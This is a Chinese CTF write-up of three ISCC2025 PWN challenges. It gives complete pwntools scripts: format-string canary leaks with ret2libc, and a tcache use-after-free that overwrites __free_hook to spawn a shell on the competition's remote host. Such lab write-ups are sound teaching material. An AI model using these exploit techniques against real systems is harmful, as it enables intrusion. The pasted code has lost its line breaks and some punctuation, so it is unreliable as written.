【CTF】ISCC2025练武题PWN方向WP

admin 2025年5月13日01:08:42评论4 views字数 3935阅读13分7秒阅读模式
PWN方向总体难度不大,在此记录一下。

ldd一下路径有问题

【CTF】ISCC2025练武题PWN方向WP

patchelf修一下

【CTF】ISCC2025练武题PWN方向WP

canary的距离是%23$p

【CTF】ISCC2025练武题PWN方向WP

后面就是常规的32位ret2libc了

注意由于LibcSearcher搜不到880的puts libc,改为手动设置版本为libc6-i386_2.35-0ubuntu3.8_amd64

【CTF】ISCC2025练武题PWN方向WP
【CTF】ISCC2025练武题PWN方向WP
【CTF】ISCC2025练武题PWN方向WP
from pwn import *from LibcSearcher import *from struct import packfrom ctypes import *context(log_level = 'debug', arch = 'i386', os = 'linux')p = remote('101.200.155.151'12400)#p=process('./attachment-7')elf = ELF('./attachment-7')p.sendlineafter(b'name?nn',b'%23$p')p.recvuntil(b'0x')canary = int(p.recv(8),16)puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.sym['main']payloadb'a'*0x40+p32(canary)+b'a'*0x8+p32(0xdeadbeef)+p32(puts_plt)+p32(main_addr)+p32(puts_got)p.sendafter(b'password?nn',payload)puts_addr = u32(p.recv()[0:4])#libc=LibcSearcher("puts",puts_addr)#libcbase=puts_addr-libc.dump("puts")#addr_system=libcbase+libc.dump("system")#addr_binsh=libcbase+libc.dump("str_bin_sh")addr_system = puts_addr-(0x072880-0x047cd0)addr_binsh = puts_addr+(0x1b90d5-0x072880)p.sendlineafter(b'name?nn',b'%23$p')p.recvuntil(b'0x')canary = int(p.recv(8),16)payload = b'a'*0x40+p32(canary)+b'a'*0x8+p32(0xdeadbeef)+p32(addr_system)+p32(main_addr)+p32(addr_binsh)p.sendafter(b'password?nn',payload)p.interactive()

key

需要输入字符串为flag使key=520 进入下一个栈溢出函数

【CTF】ISCC2025练武题PWN方向WP
【CTF】ISCC2025练武题PWN方向WP

后面栈溢出就是常规的泄露canary然后64位的ret2libc了

【CTF】ISCC2025练武题PWN方向WP

将canary末尾x00填充为b,利用%s泄露

给了libc文件,版本是libc6_2.31-0ubuntu9.17_amd64

【CTF】ISCC2025练武题PWN方向WP
【CTF】ISCC2025练武题PWN方向WP
from pwn import *from LibcSearcher import *from struct import packfrom ctypes import *context(log_level = 'debug', arch = 'amd64', os = 'linux')p = remote('101.200.155.151'12200)#p=process('./attachment-8')elf = ELF('./attachment-8')libc=ELF('./attachment-8.so')p.sendlineafter(b'size:n',b'100')p.sendlineafter(b'flag:n',b'flag')pop_rdi_ret = 0x4014c3ret_addr = 0x40101Aputs_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.sym['main']payload = b'a'*0x18+b'b'p.sendafter(b'ISCCn',payload)p.recv(0x18)canary = int.from_bytes(p.recv(8), 'little') - ord('b')print(hex(canary))payload = b'a'*0x18+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)p.sendlineafter(b'you',payload)puts_addr = u64(p.recvuntil('x7f')[-6:].ljust(8b'x00'))print(hex(puts_addr))libcbase = puts_addr - libc.sym['puts']addr_system=libcbase+libc.sym["system"]addr_binsh=libcbase+next(libc.search(b"/bin/sh"))payload = b'a'*0x18+b'b'p.sendafter(b'ISCCn',payload)p.recv(0x18)canary = int.from_bytes(p.recv(8), 'little') - ord('b')payload = b'a'*0x18+p64(canary)+p64(0xdeadbeef)+p64(ret_addr)+p64(pop_rdi_ret)+p64(addr_binsh)+p64(addr_system)p.sendline(payload)p.interactive()

《魔导王的秘密》

libc2.27 tcache的堆题,存在uaf和堆溢出

【CTF】ISCC2025练武题PWN方向WP
【CTF】ISCC2025练武题PWN方向WP

拷打一下ai:

【CTF】ISCC2025练武题PWN方向WP
【CTF】ISCC2025练武题PWN方向WP

很清晰了,先利用unsortedbin泄露main_arena+96的地址,计算基址后根据Ubuntu GLIBC 2.27-3ubuntu1.6计算得到__free_hook的地址和system的地址

修改tcache的bk指针为__free_hook,然后两次分配之后修改内容为system的地址

最后执行free(‘/bin/shx00’)即可

【CTF】ISCC2025练武题PWN方向WP
【CTF】ISCC2025练武题PWN方向WP
from pwn import *from LibcSearcher import *from struct import packfrom ctypes import *context(log_level = 'debug', arch = 'amd64', os = 'linux')p = remote('101.200.155.151'12700)#p=process('./attachment-13')elf = ELF('./attachment-13')libc=ELF('./attachment-13.6'#2.27def create(idx,size):    p.sendlineafter(b"your choice:n"b"1")    p.sendlineafter(b"coordinate:n"str(idx))    p.sendlineafter(b"required:n"str(size))def show(idx):    p.sendlineafter(b"your choice:n"b"4")    p.sendlineafter(b'cosmic truth:n',str(idx))def free(idx):    p.sendlineafter(b"your choice:n"b"2")    p.sendlineafter(b'cleanse:n',str(idx))def edit(idx,size,content):    p.sendlineafter(b"your choice:n"b"3")    p.sendlineafter(b'inscription:n',str(idx))    p.sendlineafter(b"length:n"str(size))    p.sendafter(b"truth:n", content)create(0,0x410)create(1,0x20#tcachecreate(2,0x20)create(3,0x20)create(4,0x20)free(0)show(0)leak_addr = u64(p.recvuntil('x7f')[-6:].ljust(8b'x00')) #main_arena_addr+0x60libc_base = leak_addr - 0x3ebca0free_hook = libc_base + libc.sym['__free_hook']system = libc_base + libc.sym['system']free(2)free(3)edit(3,0x8,p64(free_hook))create(2,0x20)create(3,0x20)edit(3,0x8,p64(system)) #edit __free_hook to systemedit(4,0x8,b'/bin/shx00')free(4)p.interactive()

原文始发于微信公众号(智佳网络安全):【CTF】ISCC2025练武题PWN方向WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月13日01:08:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CTF】ISCC2025练武题PWN方向WPhttp://cn-sec.com/archives/4050293.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息